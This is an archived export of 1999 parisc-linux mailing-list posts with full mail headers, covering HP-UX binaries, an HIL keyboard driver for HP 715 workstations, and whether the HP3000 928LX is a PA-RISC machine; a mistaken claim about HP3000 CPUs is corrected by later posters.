hmmm, ok, looks like I'll have to reinstall HP/UX. That's ok, I need to do
a little (Ok, a lot) of research on the PARisc architecture to get
familiar with it.

> The kernel as it stands right now probably won't boot on your 715/50.
> I'm waiting for Philipp to sort out a couple of problems and then I'm
> going to try to track down why it doesn't boot on my 715/33; the kernel
> I checked out a week ago wouldn't boot until I put in debugging printks.
> grr.
> 

I am amazed at every hacker who has a full head of hair... (facial hair
does not count...)


From - Thu Nov 08 21:15:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] more tools
Date: Sun, 29 Aug 1999 16:32:39 -0500 (CDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <199908292132.QAA27527@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619738 13401 80.91.229.3 (22 Nov 2014 01:28:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: steve@osiris.silug.org  Sun Aug 29 15:30:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA25288
	for <parisc-linux@puffin.external.hp.com>; Sun, 29 Aug 1999 15:30:16 -0600
Original-Received: (qmail 668 invoked by uid 15267); 29 Aug 1999 21:32:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 661 invoked from network); 29 Aug 1999 21:32:01 -0000
Original-Received: from gw.lanscape.net (HELO osiris.silug.org) (208.235.155.254)
  by mailserv2.iuinc.com with SMTP; 29 Aug 1999 21:32:01 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id QAA27527
	for parisc-linux@thepuffingroup.com; Sun, 29 Aug 1999 16:32:39 -0500
X-Mailer: ELM [version 2.4ME+ PL38 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9847

I've put some HP-UX 10.20 binaries of various things on
puffin.external.hp.com to go along with the 11.0 binaries I put there
a couple of months ago.  The 10.20 binaries should work on either
10.20 or 11.0.  Get them at

    ftp://puffin.external.hp.com/pub/parisc/binaries/depot/10.20/

(The 11.0 stuff is still there in depot/11.0/.)

Since I haven't managed to write up anything on how to package up
software for HP-UX yet, I figured I'd do the next best thing and just
script my build process.  There's a script called "build-bash.sh"
there that does more-or-less what rpm --rebuild would do on a Red Hat
box.  Hopefully it'll help somebody out there figure out how to build
HP-UX packages, assuming I'm not the only one who cares.  ;-)

I'll get some more stuff out there, including the latest CVS builds of
egcs and binutils, as soon as I can.

(Oh, BTW, the 10.20 stuff was built on a C240 with egcs.  Everything
*should* work properly on a PA-RISC 1.1 box, but I haven't actually
tested any of it anywhere but the build box.  If somebody could let me
know that the stuff works on a 700-series box, I'd appreciate it.)

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(217)698-1694             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:15:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] keyboard driver
Date: Sun, 29 Aug 1999 19:35:53 -0600 (MDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <199908300135.TAA01696@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619738 13406 80.91.229.3 (22 Nov 2014 01:28:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:58 +0000 (UTC)
To: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Sun Aug 29 19:34:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA25544
	for <parisc-linux@puffin.external.hp.com>; Sun, 29 Aug 1999 19:34:23 -0600
Original-Received: (qmail 6563 invoked by uid 15267); 30 Aug 1999 01:36:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6555 invoked from network); 30 Aug 1999 01:36:09 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 30 Aug 1999 01:36:09 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id TAA01696;
	Sun, 29 Aug 1999 19:35:53 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9848

> Date: Sun, 29 Aug 1999 03:18:12 +0200
> From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
> To: parisc-linux@thepuffingroup.com
> Subject: [parisc-linux] keyboard driver
> 
> Is anyone working on the keyboard driver for the 715/33 (and presumably
> some other models)?  It appears to be an HIL keyboard, and there's
> already an HIL driver in arch/m68k/hp300/hil.c.  Is this likely to work?
> Is there any documentation available for this?
> 

The BSD HIL driver should pretty much "just work."

There are some differences in the register layout, but the 700 info should
all be available in the Mach code or the LASI ERS.  I will send out info
about the HIL ERS (part #, etc.) when I am at work tomorrow.  Presumably,
someone at HP can then dig up a copy.


From - Thu Nov 08 21:15:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] keyboard driver (fwd)
Date: Sun, 29 Aug 1999 20:19:21 -0700 (PDT)
Lines: 2
Approved: news@gmane.org
Message-ID: <199908300319.UAA13901@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619738 13415 80.91.229.3 (22 Nov 2014 01:28:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Sun Aug 29 21:17:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA25789
	for <parisc-linux@puffin.external.hp.com>; Sun, 29 Aug 1999 21:17:42 -0600
Original-Received: (qmail 22397 invoked by uid 15267); 30 Aug 1999 03:19:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22380 invoked from network); 30 Aug 1999 03:19:28 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 30 Aug 1999 03:19:28 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id UAA04950
	for <parisc-linux@thepuffingroup.com>; Sun, 29 Aug 1999 20:19:26 -0700 (PDT)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id UAA05483 for <parisc-linux@thepuffingroup.com>; Sun, 29 Aug 1999 20:18:51 -0700 (PDT)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id UAA13901 for parisc-linux@thepuffingroup.com>; Sun, 29 Aug 1999 20:19:22 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9849

----- Forwarded message from Mike Hibler -----


From - Thu Nov 08 21:15:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] keyboard driver (fwd)
Date: Mon, 30 Aug 1999 11:33:25 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <19990830113325.L493@mencheca.ch.genedata.com>
References: <199908300319.UAA13901@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619739 13425 80.91.229.3 (22 Nov 2014 01:28:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Bill Katz William\"" <billk@sr.hp.com>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Aug 30 03:31:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA26155
	for <parisc-linux@puffin.external.hp.com>; Mon, 30 Aug 1999 03:31:48 -0600
Original-Received: (qmail 5118 invoked by uid 15267); 30 Aug 1999 09:33:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5111 invoked from network); 30 Aug 1999 09:33:35 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 30 Aug 1999 09:33:35 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id LAA08481;
	Mon, 30 Aug 1999 11:33:29 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id LAA31321;
	Mon, 30 Aug 1999 11:33:25 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11LNob-00025hC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for billk@sr.hp.com; Mon, 30 Aug 1999 11:33:25 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199908300319.UAA13901@meow.sr.hp.com>; from Bill Katz William" on Sun, Aug 29, 1999 at 08:19:21PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9850

On Sun, Aug 29, 1999 at 08:19:21PM -0700, Bill Katz William" wrote:
> A few notes.  LASI doesn't have HIL, it has PS2.  For workstations
> of that vintage (that might have a LASI), the HIL megafunction was
> dropped into the WAX ASIC, which also has teh EISA bus bridge.
> 
> I've found the docs on the I/O subsystem for the immediately preceding
> set of workstations (715/33 /50, 735, etc), and have had it on my
> agenda to get it ready.  If that's a critical need, I'll try to
> get to it this week.  

I wouldn't call it a critical need by any stretch of the imagination.
I just wanted to point out we have an HIL driver already before someone
runs off to write one :-)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] keyboard driver
Date: Mon, 30 Aug 1999 10:47:04 -0600 (MDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <199908301647.KAA14554@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619739 13430 80.91.229.3 (22 Nov 2014 01:28:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:59 +0000 (UTC)
To: Matthew.Wilcox@genedata.com, mike@fast.cs.utah.edu,
        parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Mon Aug 30 10:45:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA27189
	for <parisc-linux@puffin.external.hp.com>; Mon, 30 Aug 1999 10:45:32 -0600
Original-Received: (qmail 3850 invoked by uid 15267); 30 Aug 1999 16:47:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3839 invoked from network); 30 Aug 1999 16:47:11 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 30 Aug 1999 16:47:11 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id KAA14554;
	Mon, 30 Aug 1999 10:47:04 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9851

> Date: Sun, 29 Aug 1999 19:35:53 -0600 (MDT)
> From: Mike Hibler <mike@fast.cs.utah.edu>
> To: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
> Subject: Re:  [parisc-linux] keyboard driver
> 
> > Date: Sun, 29 Aug 1999 03:18:12 +0200
> > From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
> > To: parisc-linux@thepuffingroup.com
> > Subject: [parisc-linux] keyboard driver
> > 
> > Is anyone working on the keyboard driver for the 715/33 (and presumably
> > some other models)?  It appears to be an HIL keyboard, and there's
> > already an HIL driver in arch/m68k/hp300/hil.c.  Is this likely to work?
> > Is there any documentation available for this?
> > 
> 
> The BSD HIL driver should pretty much "just work."
> 
> There are some differences in the register layout, but the 700 info should
> all be available in the Mach code or the LASI ERS.  I will send out info
> about the HIL ERS (part #, etc.) when I am at work tomorrow.  Presumably,
> someone at HP can then dig up a copy.
> 

	SYSTEM DEVICE CONTROLLER
	MICROPROCESSOR FIRMWARE
	THEORY OF OPERATION
	FOR
	PART NUMBER
	1820-4784
	Dwg No. A-1820-4784-2
	23 - Feb - 1987

And here is another, unrelated, doc that was sitting next to the HIL spec:

	STANDARD TEXT INTERFACE
	For Graphics Devices
	Rev. 8.03
	April 11, 1991
	A-5960-1586-1

This is the "STI" ROM on graphics cards that easily allows you to do a
terminal emulator on the graphics console.


From - Thu Nov 08 21:15:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Muratti <rmurat@ibm.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP3000 928LX Support?
Date: Wed, 01 Sep 1999 22:14:03 +1000
Lines: 8
Approved: news@gmane.org
Message-ID: <3.0.32.19990901221403.0093c3c0@pop01.ny.us.ibm.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619740 13690 80.91.229.3 (22 Nov 2014 01:29:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rmurat@ibm.net  Wed Sep  1 06:12:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA00480
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 06:12:16 -0600
Original-Received: (qmail 12575 invoked by uid 15267); 1 Sep 1999 12:14:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12558 invoked from network); 1 Sep 1999 12:14:06 -0000
Original-Received: from picard.corpconnect.com.au (root@203.34.58.3)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 12:14:06 -0000
Original-Received: from klingon (ppro.corpconnect.com.au [203.34.58.17])
	by picard.corpconnect.com.au (8.8.7/8.8.7) with SMTP id WAA18559
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Sep 1999 22:14:03 +1000
X-Sender: rmurat@pop01.ny.us.ibm.net (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:9852

Hi,

I have the opportunity to acquire a HP3000 928LX server
and would like to know if it is supported.

Thanks
Rick


From - Thu Nov 08 21:15:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support?
Date: Wed, 1 Sep 1999 17:31:59 +0200 (CEST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9909011730100.20806-100000@bastion.nl3155vj16.vanderkooij.org>
References: <3.0.32.19990901221403.0093c3c0@pop01.ny.us.ibm.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619740 13692 80.91.229.3 (22 Nov 2014 01:29:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Muratti <rmurat@ibm.net>
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Wed Sep  1 09:30:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA00879
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 09:30:20 -0600
Original-Received: (qmail 29041 invoked by uid 15267); 1 Sep 1999 15:32:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29027 invoked from network); 1 Sep 1999 15:32:10 -0000
Original-Received: from mailserv.caiw.nl (194.178.9.133)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 15:32:10 -0000
Original-Received: (from root@localhost) by mailserv.caiw.nl (8.8.5/8.6.12) id RAA20768; Wed, 1 Sep 1999 17:32:09 +0200 (MET DST)
Original-Received: from k3nw155.dial.kabelfoon.nl(195.193.24.155), claiming to be "bastion.nl3155vj16.vanderkooij.org"
 via SMTP by mailserv.caiw.nl, id smtpdAAAa20745; Wed, 1 Sep 1999 17:32:05 +0200
Original-Received: from bastion.nl3155vj16.vanderkooij.org (bastion.nl3155vj16.vanderkooij.org [192.168.100.254])
	by bastion.nl3155vj16.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id RAA20925;
	Wed, 1 Sep 1999 17:31:59 +0200
X-Sender: hvdkooij@bastion.nl3155vj16.vanderkooij.org
In-Reply-To: <3.0.32.19990901221403.0093c3c0@pop01.ny.us.ibm.net>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:9853

On Wed, 1 Sep 1999, Richard Muratti wrote:

> I have the opportunity to acquire a HP3000 928LX server
> and would like to know if it is supported.

HP3000 systems are not PA-RISC systems. They use the Motorola 68000 CPU
and you chould check the 68000 oport effort wether or not the unit may run
linux.

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl	http://home.kabelfoon.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:15:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support?
Date: Wed, 01 Sep 1999 09:35:21 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <22347.936200121@upchuck.cygnus.com>
References: <Pine.LNX.4.10.9909011730100.20806-100000@bastion.nl3155vj16.vanderkooij.org>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619740 13694 80.91.229.3 (22 Nov 2014 01:29:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:00 +0000 (UTC)
Cc: Richard Muratti <rmurat@ibm.net>, parisc-linux@thepuffingroup.com
To: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>
Original-X-From: law@upchuck.cygnus.com  Wed Sep  1 09:42:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA01070
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 09:42:24 -0600
Original-Received: (qmail 32614 invoked by uid 15267); 1 Sep 1999 15:44:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32596 invoked from network); 1 Sep 1999 15:44:03 -0000
Original-Received: from vomit.cygnus.com (HELO upchuck.cygnus.com) (208.224.120.148)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 15:44:03 -0000
Original-Received: from upchuck.cygnus.com (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id JAA22350;
	Wed, 1 Sep 1999 09:35:22 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Wed, 01 Sep 1999 17:31:59 +0200.
             <Pine.LNX.4.10.9909011730100.20806-100000@bastion.nl3155vj16.vanderkooij.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:9854

  In message <Pine.LNX.4.10.9909011730100.20806-100000@bastion.nl3155vj16.vande
rkooij.org>you write:
  > On Wed, 1 Sep 1999, Richard Muratti wrote:
  > 
  > > I have the opportunity to acquire a HP3000 928LX server
  > > and would like to know if it is supported.
  > 
  > HP3000 systems are not PA-RISC systems. They use the Motorola 68000 CPU
  > and you chould check the 68000 oport effort wether or not the unit may run
  > linux.
Newer HP3000s are PA systems.

jeff


From - Thu Nov 08 21:15:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Klein <mklein@dis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support?
Date: Wed, 01 Sep 1999 08:55:53 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <4.1.19990901085249.00c22160@garfield.dis.com>
References: <3.0.32.19990901221403.0093c3c0@pop01.ny.us.ibm.net> <Pine.LNX.4.10.9909011730100.20806-100000@bastion.nl3155vj1
 6.vanderkooij.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619741 13697 80.91.229.3 (22 Nov 2014 01:29:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>,
        Richard Muratti <rmurat@ibm.net>
Original-X-From: mklein@dis.com  Wed Sep  1 09:54:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA01272
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 09:54:08 -0600
Original-Received: (qmail 4139 invoked by uid 15267); 1 Sep 1999 15:55:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4126 invoked from network); 1 Sep 1999 15:55:58 -0000
Original-Received: from garfield.dis.com (199.4.97.30)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 15:55:58 -0000
Original-Received: from linus (198.180.205.14) by garfield.dis.com
 (EMWAC SMTPRS 0.81) with SMTP id <B0000034559@garfield.dis.com>;
 Wed, 01 Sep 1999 08:55:55 -0700
X-Sender: mark@garfield.dis.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
In-Reply-To: <Pine.LNX.4.10.9909011730100.20806-100000@bastion.nl3155vj1
 6.vanderkooij.org>
Original-References: <3.0.32.19990901221403.0093c3c0@pop01.ny.us.ibm.net>
Xref: news.gmane.org gmane.linux.ports.parisc:9855

At 05:31 PM 9/1/99 +0200, Hugo van der Kooij wrote:

>HP3000 systems are not PA-RISC systems. They use the Motorola 68000 CPU
>and you chould check the 68000 oport effort wether or not the unit may run
>linux.

I think you're confusing the HP9000 300 series ... these are the Motorola
based machines. The HP3000 928LX is a PA 1.1 based machine, but is
not PCI.
--
Mark Klein                                    DIS International, Ltd.
http://www.dis.com                            415-892-8400
PGP Public Key Available
--


From - Thu Nov 08 21:15:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support?
Date: Wed, 01 Sep 1999 9:07:40 PDT
Lines: 28
Approved: news@gmane.org
Message-ID: <199909011607.JAA07206@chrome.rose.hp.com>
References: <Pine.LNX.4.10.9909011730100.20806-100000@bastion.nl3155vj16.vanderkooij.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619741 13717 80.91.229.3 (22 Nov 2014 01:29:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:01 +0000 (UTC)
Cc: rmurat@ibm.net, parisc-linux@thepuffingroup.com
To: Hugo.van.der.Kooij@caiw.nl (Hugo van der Kooij)
Original-X-From: kirkb@chrome.rose.hp.com  Wed Sep  1 10:04:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA01463
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 10:04:50 -0600
Original-Received: (qmail 9165 invoked by uid 15267); 1 Sep 1999 16:06:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9123 invoked from network); 1 Sep 1999 16:06:36 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 16:06:36 -0000
Original-Received: from chrome.rose.hp.com (kirkb@chrome.rose.hp.com [15.8.150.209])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id JAA18797;
	Wed, 1 Sep 1999 09:06:17 -0700 (PDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id JAA07206; Wed, 1 Sep 1999 09:07:40 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.10.9909011730100.20806-100000@bastion.nl3155vj16.vanderkooij.org>; from "Hugo van der Kooij" at Sep 1, 99 5:31 pm
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:9856

| On Wed, 1 Sep 1999, Richard Muratti wrote:
| 
| > I have the opportunity to acquire a HP3000 928LX server
| > and would like to know if it is supported.
| 
| HP3000 systems are not PA-RISC systems. They use the Motorola 68000 CPU
| and you chould check the 68000 oport effort wether or not the unit may run
| linux.
| 
| Hugo.

What?! The HP3000 systems are indeed PA-RISC. In fact, while there 
have been 68k HP-UX workstations the HP3000 have always had an
HP-designed architecture, first the 'classic' HP300 architecture
followed by PA-RISC.

As far as the 928LX, it is a PA-7100LC system, but features
HP-PB based I/O. I do not believe that anyone is working on
on this I/O architecture. 

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 748-2393		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support?
Date: Wed, 01 Sep 1999 09:18:46 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <199909011619.JAA06394@milano.cup.hp.com>
References: <Pine.LNX.4.10.9909011730100.20806-100000@bastion.nl3155vj16.vanderkooij.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619742 13730 80.91.229.3 (22 Nov 2014 01:29:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:02 +0000 (UTC)
Cc: Richard Muratti <rmurat@ibm.net>, parisc-linux@thepuffingroup.com
To: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>
Original-X-From: grundler@cup.hp.com  Wed Sep  1 10:19:53 1999
